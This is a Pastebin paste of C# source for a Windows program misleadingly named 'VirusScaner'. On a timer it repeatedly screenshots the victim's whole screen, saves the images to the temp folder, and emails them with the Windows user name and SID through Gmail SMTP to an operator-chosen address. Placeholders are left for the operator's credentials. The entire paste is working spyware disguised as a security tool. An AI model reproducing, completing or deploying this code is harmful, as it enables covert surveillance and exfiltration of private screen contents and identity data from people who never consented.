Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.60 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Text;
  7. using System.Windows.Forms;
  8. using System.IO;
  9. using System.Drawing.Imaging;
  10. using System.Net;
  11.  
  12. namespace VirusScaner
  13. {
  14. public partial class Form1 : Form
  15. {
  16. string printScreen = null;
  17. static int i = 0;
  18. public Form1()
  19. {
  20. InitializeComponent();
  21.  
  22. }
  23. private static Bitmap BitMapCreater()
  24. {
  25. Rectangle rect = Screen.PrimaryScreen.Bounds;
  26. int color = Screen.PrimaryScreen.BitsPerPixel;
  27. PixelFormat pFormat;
  28. switch (color)
  29. {
  30. case 8:
  31. case 16:
  32. pFormat = PixelFormat.Format16bppRgb565;
  33. break;
  34.  
  35. case 24:
  36. pFormat = PixelFormat.Format24bppRgb;
  37. break;
  38.  
  39. case 32:
  40. pFormat = PixelFormat.Format32bppArgb;
  41. break;
  42.  
  43. default:
  44. pFormat = PixelFormat.Format32bppArgb;
  45. break;
  46. }
  47. Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
  48. Graphics g = Graphics.FromImage(bmp);
  49. g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
  50. return bmp;
  51. }
  52. private static string sendMail(System.Net.Mail.MailMessage mm)
  53. {
  54. try
  55. {
  56. string smtpHost = "smtp.gmail.com";
  57. string userName = "username@gmail.com";//write your email address
  58. string password = "************";//write password
  59. System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
  60. mClient.Port = 587;
  61. mClient.EnableSsl = true;
  62. mClient.UseDefaultCredentials = false;
  63. mClient.Credentials = new NetworkCredential(userName, password);
  64. mClient.Host = smtpHost;
  65. mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
  66. mClient.Send(mm);
  67. }
  68. catch (Exception ex)
  69. {
  70. System.Console.Write(ex.Message);
  71. }
  72.  
  73. return "Send Sucessfully";
  74. }
  75. private void Form1_Load(object sender, EventArgs e)
  76. {
  77.  
  78.  
  79. }
  80.  
  81.  
  82.  
  83. private void timer1_Tick_1(object sender, EventArgs e)
  84. {
  85. i = i + 1;
  86. string sysName = string.Empty;
  87. string sysUser = string.Empty;
  88. Bitmap b = BitMapCreater();
  89. printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
  90. b.Save(printScreen, ImageFormat.Jpeg);
  91. System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
  92. System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
  93. System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
  94. sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
  95. sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
  96. mm.Subject = sysName + " " + sysUser;
  97. string filename = string.Empty;
  98. System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
  99. mm.Attachments.Add(mailAttachment);
  100. mm.IsBodyHtml = true;
  101. mm.BodyEncoding = System.Text.Encoding.UTF8;
  102. sendMail(mm);
  103. }
  104. }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement